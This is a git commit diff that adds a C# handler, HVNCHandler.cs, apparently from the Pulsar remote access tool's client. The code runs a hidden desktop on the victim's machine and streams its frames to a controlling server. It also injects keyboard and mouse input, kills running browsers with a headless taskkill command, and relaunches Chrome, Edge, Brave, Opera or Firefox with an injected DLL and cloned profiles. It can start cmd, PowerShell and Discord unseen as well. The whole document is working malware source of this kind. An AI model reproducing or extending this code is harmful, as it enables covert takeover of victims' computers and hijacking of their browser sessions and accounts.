initial commit
This commit is contained in:
@@ -0,0 +1,416 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Client.Helper.HVNC;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Monitoring.HVNC;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Common.Video;
|
||||
using Pulsar.Common.Video.Codecs;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class HVNCHandler : IMessageProcessor, IDisposable
|
||||
{
|
||||
private UnsafeStreamCodec _streamCodec;
|
||||
private BitmapData _desktopData = null;
|
||||
private Bitmap _desktop = null;
|
||||
private ISender _clientMain;
|
||||
private Thread _captureThread;
|
||||
private CancellationTokenSource _cancellationTokenSource;
|
||||
|
||||
|
||||
private readonly ImageHandler ImageHandler = new ImageHandler("PulsarDesktop");
|
||||
private readonly InputHandler InputHandler = new InputHandler("PulsarDesktop");
|
||||
private readonly ProcessController ProcessHandler = new ProcessController("PulsarDesktop");
|
||||
|
||||
// frame control variables
|
||||
private readonly ConcurrentQueue<byte[]> _frameBuffer = new ConcurrentQueue<byte[]>();
|
||||
private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false);
|
||||
private int _pendingFrameRequests = 0;
|
||||
|
||||
//fps counting
|
||||
private int _framesSent = 0;
|
||||
private float _currentFps = 0f;
|
||||
|
||||
// max buffer size to prevent memory issues
|
||||
private const int MAX_BUFFER_SIZE = 10;
|
||||
|
||||
private readonly Stopwatch _stopwatch = new Stopwatch();
|
||||
|
||||
public bool CanExecute(IMessage message)
|
||||
{
|
||||
return message is GetHVNCDesktop || message is DoHVNCInput || message is StartHVNCProcess || message is GetHVNCMonitors;
|
||||
}
|
||||
|
||||
public bool CanExecuteFrom(ISender sender)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetHVNCDesktop getDesktop:
|
||||
Execute(sender, getDesktop);
|
||||
break;
|
||||
case DoHVNCInput doInput:
|
||||
InputHandler.Input(doInput.msg, (IntPtr)doInput.wParam, (IntPtr)doInput.lParam);
|
||||
break;
|
||||
case StartHVNCProcess startHVNCProcess:
|
||||
_ = ExecuteAsync(sender, startHVNCProcess);
|
||||
break;
|
||||
case GetHVNCMonitors _:
|
||||
Execute(sender);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetHVNCDesktop message)
|
||||
{
|
||||
if (message.Status == RemoteDesktopStatus.Stop)
|
||||
{
|
||||
StopScreenStreaming();
|
||||
}
|
||||
else if (message.Status == RemoteDesktopStatus.Start)
|
||||
{
|
||||
StartScreenStreaming(client, message);
|
||||
}
|
||||
else if (message.Status == RemoteDesktopStatus.Continue)
|
||||
{
|
||||
Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested);
|
||||
_frameRequestEvent.Set();
|
||||
}
|
||||
}
|
||||
|
||||
private void StartScreenStreaming(ISender client, GetHVNCDesktop message)
|
||||
{
|
||||
var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex);
|
||||
var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width };
|
||||
|
||||
if (_streamCodec == null)
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
|
||||
if (message.CreateNew)
|
||||
{
|
||||
_streamCodec?.Dispose();
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
}
|
||||
|
||||
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
|
||||
{
|
||||
_streamCodec?.Dispose();
|
||||
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||
}
|
||||
|
||||
_clientMain = client;
|
||||
|
||||
ClearFrameBuffer();
|
||||
Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested);
|
||||
|
||||
if (_captureThread == null || !_captureThread.IsAlive)
|
||||
{
|
||||
_cancellationTokenSource = new CancellationTokenSource();
|
||||
_captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token, message.DisplayIndex))
|
||||
{
|
||||
IsBackground = true,
|
||||
Name = "HVNC Capture Loop"
|
||||
};
|
||||
_captureThread.Start();
|
||||
}
|
||||
}
|
||||
|
||||
private void StopScreenStreaming()
|
||||
{
|
||||
_cancellationTokenSource?.Cancel();
|
||||
|
||||
if (_captureThread != null && _captureThread.IsAlive)
|
||||
{
|
||||
_frameRequestEvent.Set();
|
||||
_captureThread.Join();
|
||||
_captureThread = null;
|
||||
}
|
||||
|
||||
if (_desktop != null)
|
||||
{
|
||||
if (_desktopData != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
_desktop.UnlockBits(_desktopData);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
_desktopData = null;
|
||||
}
|
||||
_desktop.Dispose();
|
||||
_desktop = null;
|
||||
}
|
||||
|
||||
if (_streamCodec != null)
|
||||
{
|
||||
_streamCodec.Dispose();
|
||||
_streamCodec = null;
|
||||
}
|
||||
|
||||
ClearFrameBuffer();
|
||||
Interlocked.Exchange(ref _pendingFrameRequests, 0);
|
||||
}
|
||||
|
||||
private void BufferedCaptureLoop(CancellationToken cancellationToken, int displayIndex)
|
||||
{
|
||||
_stopwatch.Start();
|
||||
|
||||
while (!cancellationToken.IsCancellationRequested)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (_frameBuffer.Count >= MAX_BUFFER_SIZE || _pendingFrameRequests <= 0)
|
||||
{
|
||||
_frameRequestEvent.WaitOne(500);
|
||||
|
||||
if (cancellationToken.IsCancellationRequested)
|
||||
break;
|
||||
|
||||
continue;
|
||||
}
|
||||
|
||||
byte[] frameData = CaptureFrame(displayIndex);
|
||||
if (frameData != null)
|
||||
{
|
||||
_frameBuffer.Enqueue(frameData);
|
||||
_framesSent++;
|
||||
|
||||
if (_stopwatch.ElapsedMilliseconds >= 1000)
|
||||
{
|
||||
_currentFps = _framesSent / (_stopwatch.ElapsedMilliseconds / 1000f);
|
||||
_framesSent = 0;
|
||||
_stopwatch.Restart();
|
||||
}
|
||||
}
|
||||
|
||||
while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend))
|
||||
{
|
||||
SendFrameToServer(frameToSend, Interlocked.Decrement(ref _pendingFrameRequests) == 0);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Thread.Sleep(100);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] CaptureFrame(int displayIndex)
|
||||
{
|
||||
try
|
||||
{
|
||||
_desktop = ImageHandler.Screenshot(displayIndex);
|
||||
|
||||
if (_desktop == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb;
|
||||
Bitmap processedBitmap = _desktop;
|
||||
|
||||
if (_desktop.PixelFormat != codecPixelFormat)
|
||||
{
|
||||
try
|
||||
{
|
||||
processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat);
|
||||
using (Graphics g = Graphics.FromImage(processedBitmap))
|
||||
{
|
||||
g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height);
|
||||
}
|
||||
_desktop.Dispose();
|
||||
_desktop = processedBitmap;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error converting pixel format: {ex.Message}");
|
||||
// Continue with original bitmap if conversion fails
|
||||
processedBitmap = _desktop;
|
||||
}
|
||||
}
|
||||
|
||||
_desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
|
||||
ImageLockMode.ReadWrite, processedBitmap.PixelFormat);
|
||||
|
||||
using (MemoryStream stream = new MemoryStream())
|
||||
{
|
||||
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
|
||||
_streamCodec.CodeImage(_desktopData.Scan0,
|
||||
new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height),
|
||||
new Size(processedBitmap.Width, processedBitmap.Height),
|
||||
processedBitmap.PixelFormat, stream);
|
||||
|
||||
return stream.ToArray();
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (_desktopData != null)
|
||||
{
|
||||
_desktop.UnlockBits(_desktopData);
|
||||
_desktopData = null;
|
||||
}
|
||||
_desktop?.Dispose();
|
||||
_desktop = null;
|
||||
}
|
||||
}
|
||||
|
||||
private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame)
|
||||
{
|
||||
if (frameData == null || _clientMain == null) return;
|
||||
|
||||
try
|
||||
{
|
||||
_clientMain.Send(new GetHVNCDesktopResponse
|
||||
{
|
||||
Image = frameData,
|
||||
Quality = _streamCodec.ImageQuality,
|
||||
Monitor = _streamCodec.Monitor,
|
||||
Resolution = _streamCodec.Resolution,
|
||||
Timestamp = DateTimeOffset.UtcNow.ToUnixTimeMilliseconds(),
|
||||
IsLastRequestedFrame = isLastRequestedFrame,
|
||||
Fps = _currentFps
|
||||
});
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void ClearFrameBuffer()
|
||||
{
|
||||
while (_frameBuffer.TryDequeue(out _)) { }
|
||||
}
|
||||
|
||||
private async Task ExecuteAsync(ISender client, StartHVNCProcess message)
|
||||
{
|
||||
try
|
||||
{
|
||||
string name = message.Path;
|
||||
bool dontCloneProfile = message.DontCloneProfile;
|
||||
byte[] dllBytes = message.DllBytes;
|
||||
|
||||
var browserPaths = new Dictionary<string, string>
|
||||
{
|
||||
{ "Chrome", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Google\\Chrome\\Application\\chrome.exe" },
|
||||
{ "Edge", Environment.GetEnvironmentVariable("PROGRAMFILES(X86)") + "\\Microsoft\\Edge\\Application\\msedge.exe" },
|
||||
{ "Brave", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" },
|
||||
{ "Opera", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera\\opera.exe" },
|
||||
{ "OperaGX", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera GX\\opera.exe" },
|
||||
{ "Mozilla", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\firefox.exe" }
|
||||
};
|
||||
|
||||
if (dontCloneProfile && browserPaths.TryGetValue(name, out string executablePath) && File.Exists(executablePath))
|
||||
{
|
||||
string browserProcess = name.ToLower().Replace("mozilla", "firefox").Replace("edge", "msedge").Replace("operagx", "opera");
|
||||
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {browserProcess}.exe /F";
|
||||
Debug.WriteLine(killCommand);
|
||||
ProcessHandler.CreateProc(killCommand);
|
||||
await Task.Delay(1000).ConfigureAwait(false);
|
||||
|
||||
Debug.WriteLine($"Direct starting browser: {executablePath}");
|
||||
|
||||
ProcessHandler.CreateProc(executablePath);
|
||||
return;
|
||||
}
|
||||
|
||||
switch (name)
|
||||
{
|
||||
case "GenericChromium":
|
||||
await ProcessHandler.StartGenericChromiumAsync(
|
||||
dllBytes,
|
||||
message.CustomBrowserPath,
|
||||
message.CustomSearchPattern,
|
||||
message.CustomReplacementPath
|
||||
).ConfigureAwait(false);
|
||||
break;
|
||||
case "Chrome":
|
||||
await ProcessHandler.StartChromeAsync(dllBytes).ConfigureAwait(false);
|
||||
break;
|
||||
case "Edge":
|
||||
await ProcessHandler.StartEdgeAsync(dllBytes).ConfigureAwait(false);
|
||||
break;
|
||||
case "Brave":
|
||||
await ProcessHandler.StartBraveAsync(dllBytes).ConfigureAwait(false);
|
||||
break;
|
||||
case "Opera":
|
||||
await ProcessHandler.StartOperaAsync(dllBytes).ConfigureAwait(false);
|
||||
break;
|
||||
case "OperaGX":
|
||||
await ProcessHandler.StartOperaGXAsync(dllBytes).ConfigureAwait(false);
|
||||
break;
|
||||
case "Explorer":
|
||||
ProcessHandler.StartExplorer();
|
||||
break;
|
||||
case "Cmd":
|
||||
ProcessHandler.StartCmd();
|
||||
break;
|
||||
case "Powershell":
|
||||
ProcessHandler.StartPowershell();
|
||||
break;
|
||||
case "Mozilla":
|
||||
await ProcessHandler.StartFirefoxAsync().ConfigureAwait(false);
|
||||
break;
|
||||
case "Discord":
|
||||
ProcessHandler.StartDiscord();
|
||||
break;
|
||||
default:
|
||||
ProcessHandler.StartGeneric(name);
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"HVNC process start failed: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client)
|
||||
{
|
||||
int monitorCount = ImageHandler.GetMonitorCount();
|
||||
Debug.WriteLine($"HVNC: Sending monitor count: {monitorCount}");
|
||||
client.Send(new GetHVNCMonitorsResponse { Number = monitorCount });
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
Debug.WriteLine("HVNC Handler Disposed");
|
||||
StopScreenStreaming();
|
||||
ImageHandler.Dispose();
|
||||
InputHandler.Dispose();
|
||||
_streamCodec?.Dispose();
|
||||
_cancellationTokenSource?.Dispose();
|
||||
_frameRequestEvent?.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user